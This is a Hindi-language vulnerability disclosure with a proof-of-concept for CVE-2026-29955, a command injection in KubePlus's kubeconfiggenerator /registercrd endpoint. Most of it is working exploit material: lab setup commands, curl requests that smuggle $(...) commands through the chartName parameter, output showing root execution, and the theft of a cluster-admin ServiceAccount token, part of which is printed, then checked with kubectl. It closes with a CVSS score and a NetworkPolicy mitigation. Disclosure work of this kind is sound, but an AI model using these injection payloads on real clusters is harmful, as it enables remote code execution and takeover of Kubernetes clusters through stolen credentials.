
CVE-2026-29955 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, KubePlus kubeconfiggenerator में एक कमांड इंजेक्शन भेद्यता जो Kubernetes क्लस्टर में रिमोट कोड निष्पादन और ServiceAccount टोकन चोरी की अनुमति देती है।
यह भेद्यता KubePlus के kubeconfiggenerator घटक में मौजूद है, जो HTTP इंटरफ़ेस तक पहुंच रखने वाले हमलावरों को chartName पैरामीटर के माध्यम से शेल कमांड इंजेक्ट करने, कंटेनर के भीतर रूट के रूप में मनमाना कोड निष्पादित करने, और cluster-admin विशेषाधिकारों वाले ServiceAccount टोकन चुराने की अनुमति देता है। अनुशंसित CWE वर्गीकरण: CWE-78 (OS कमांड इंजेक्शन)।
KubePlus kubeconfiggenerator घटक में /registercrd एंडपॉइंट कमांड इंजेक्शन के लिए असुरक्षित है। घटक शेल कमांड निष्पादित करने के लिए shell=True पैरामीटर के साथ subprocess.Popen() का उपयोग करता है, और उपयोगकर्ता द्वारा प्रदान किया गया chartName पैरामीटर बिना किसी सैनिटाइज़ेशन या सत्यापन के सीधे कमांड स्ट्रिंग में जोड़ दिया जाता है। एक हमलावर दुर्भावनापूर्ण chartName पैरामीटर मान बनाकर मनमाना शेल कमांड इंजेक्ट कर सकता है।
CRD पंजीकरण अनुरोधों को संसाधित करते समय, kubeconfiggenerator घटक Helm चार्ट डाउनलोड और निकालता है। download_and_untar_chart() फ़ंक्शन में, chartName पैरामीटर सीधे शेल कमांड में जोड़ दिया जाता है:
फ़ाइल: deploy/kubeconfiggenerator.py:60-69
def run_command(cmd):
print(cmd)
cmdOut = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
out = cmdOut[0].decode('utf-8')
err = cmdOut[1].decode('utf-8')
return out, err
फ़ाइल: deploy/kubeconfiggenerator.py:554
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)
फ़ाइल: deploy/kubeconfiggenerator.py:562
cmd = "rm -rf /" + chartName
out, err = run_command(cmd)
shell=True पैरामीटर के कारण, हमलावर मनमाना कमांड इंजेक्ट करने के लिए शेल कमांड प्रतिस्थापन सिंटैक्स $(command) का उपयोग कर सकते हैं।
दुर्भावनापूर्ण chartName पैरामीटर के साथ /registercrd एंडपॉइंट पर HTTP अनुरोध भेजकर, एक हमलावर kubeconfiggenerator कंटेनर के भीतर मनमाना कमांड निष्पादित कर सकता है। चूंकि कंटेनर रूट के रूप में चलता है और इसका ServiceAccount cluster-admin विशेषाधिकार रखता है, हमलावर यह कर सकता है:
# Kind क्लस्टर कॉन्फ़िगरेशन बनाएं
cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kubeplus-test
nodes:
- role: control-plane
EOF
# क्लस्टर बनाएं
kind create cluster --config kind-config.yaml
# क्लस्टर सत्यापित करें
kubectl cluster-info
kubectl get nodes
अपेक्षित आउटपुट:
Kubernetes control plane is running at https://127.0.0.1:xxxxx
CoreDNS is running at https://127.0.0.1:xxxxx/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy
NAME STATUS ROLES AGE VERSION
kubeplus-test-control-plane Ready control-plane 1m v1.27.3
# कार्यशील निर्देशिका बनाएं
mkdir -p /tmp/kubeplus-poc && cd /tmp/kubeplus-poc
# KubePlus प्लगइन्स डाउनलोड करें
wget https://github.com/cloud-ark/kubeplus/releases/download/kubeplus-kubectl-plugins-v4.1.4/kubeplus-kubectl-plugins-v4.1.4.tar.gz
tar -xzf kubeplus-kubectl-plugins-v4.1.4.tar.gz
# provider-kubeconfig स्क्रिप्ट डाउनलोड करें
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/requirements.txt
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/provider-kubeconfig.py
# Python पर्यावरण सेटअप करें
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
pip3 install PyYAML kubernetes
# API सर्वर पता प्राप्त करें
apiserver=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
# प्रोवाइडर kubeconfig बनाएं
python3 provider-kubeconfig.py -s $apiserver create default
अपेक्षित आउटपुट:
Provider kubeconfig created: kubeplus-saas-provider.json
# KubePlus Helm चार्ट डाउनलोड करें
curl -sL "https://github.com/cloud-ark/operatorcharts/raw/master/kubeplus-chart-4.2.0.tgz" -o kubeplus-chart.tgz
# KubePlus इंस्टॉल करें
helm install kubeplus kubeplus-chart.tgz --kubeconfig=kubeplus-saas-provider.json -n default
# पॉड्स के तैयार होने की प्रतीक्षा करें
kubectl wait --for=condition=Ready pod -l app=kubeplus -n default --timeout=180s
# इंस्टॉलेशन सत्यापित करें
kubectl get pods -n default -l app=kubeplus
अपेक्षित आउटपुट:
NAME READY STATUS RESTARTS AGE
kubeplus-deployment-57dbf6f8b9-xxxxx 5/5 Running 0 2m
# पॉड नाम प्राप्त करें
export WEBHOOK_POD=$(kubectl get pods -n default -l app=kubeplus -o jsonpath='{.items[0].metadata.name}')
# पोर्ट फ़ॉरवर्डिंग सेटअप करें
kubectl port-forward svc/kubeconfighelper -n default 5005:91 &
# सेवा सुलभ है यह सत्यापित करें
curl -s http://localhost:5005/hello
अपेक्षित आउटपुट:
hello world
दुर्भावनापूर्ण chartName पैरामीटर के साथ अनुरोध भेजें:
curl -s 'http://localhost:5005/registercrd?kind=Test&version=v1&group=test.io&plural=tests&chartURL=https://example.com/test.tgz&chartName=$(id>/tmp/pwned.txt)'
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/pwned.txt
वास्तविक सत्यापन आउटपुट:
uid=0(root) gid=0(root) groups=0(root)
curl -s 'http://localhost:5005/registercrd?kind=Test2&version=v1&group=test2.io&plural=test2s&chartURL=https://example.com/test.tgz&chartName=$(cat%20/var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)'
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt
वास्तविक सत्यापन आउटपुट:
eyJhbGciOiJSUzI1NiIsImtpZCI6Iklua3NNSkdubUtOcnZycUZkMGlJTE5meV9jVk85WFQxZ2dBZjVtOFJ0VncifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAxNDg5MjYyLCJpYXQiOjE3Njk5NTMyNjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJrdWJlcGx1cy1kZXBsb3ltZW50LTU3ZGJmNmY4YjktcHh2YzUiLCJ1aWQiOiI4ZjBmNDQ0NS1mZTQ0LTQxMjUtYjEwMi03YzQzZDkyMjEyMmYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Imt1YmVwbHVzLXNhYXMtcHJvdmlkZXIiLCJ1aWQiOiJlZjljYjFmZi03NWI1LTRmZmMtYjdjMS01Yjc3NjhjNWFiYzQifSwid2FybmFmdGVyIjoxNzY5OTU2ODY5fSwibmJmIjoxNzY5OTUzMjYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDprdWJlcGx1cy1zYWFzLXByb3ZpZGVyIn0...
STOLEN_TOKEN=$(kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt)
kubectl auth can-i --list --token="$STOLEN_TOKEN"
वास्तविक सत्यापन आउटपुट:
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
[*] [] [*]
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
kubeconfiggenerator कंटेनर लॉग कमांड इंजेक्शन निष्पादित होने को दर्शाते हैं:
[01/Feb/2026 13:49:32] Inside registercrd
kind:Test
version:v1
group:test.io
plural:tests
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(id>/tmp/pwned2.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(id>/tmp/pwned2.txt)
[01/Feb/2026 13:49:56] Inside registercrd
kind:Test2
version:v1
group:test2.io
plural:test2s
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)
यह भेद्यता एक हमलावर को अनुमति देती है:
*.*) वाले ServiceAccount टोकन चुरानाCVSS v3.1 स्कोर: 8.8 (उच्च)
वेक्टर: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
shell=True का उपयोग करने वाले सभी संस्करणअभी तक कोई पैच किया गया संस्करण उपलब्ध नहीं है।
# NetworkPolicy उदाहरण
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: restrict-kubeconfighelper
namespace: default
spec:
podSelector:
matchLabels:
app: kubeplus
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
trusted: "true"
ports:
- protocol: TCP
port: 5005
@b0b0haha ([email protected]) @lixingquzhi ([email protected])